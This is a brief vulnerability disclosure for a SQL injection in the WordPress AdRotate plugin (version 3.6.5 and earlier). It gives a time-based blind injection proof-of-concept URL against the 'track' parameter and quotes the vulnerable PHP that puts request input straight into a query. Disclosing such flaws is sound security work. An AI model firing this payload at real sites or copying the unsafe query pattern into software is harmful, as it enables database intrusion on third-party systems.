WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability

# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=
IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

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Vulnerable code
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if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = urldecode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE 
`id` = '".$ad."' LIMIT 1;");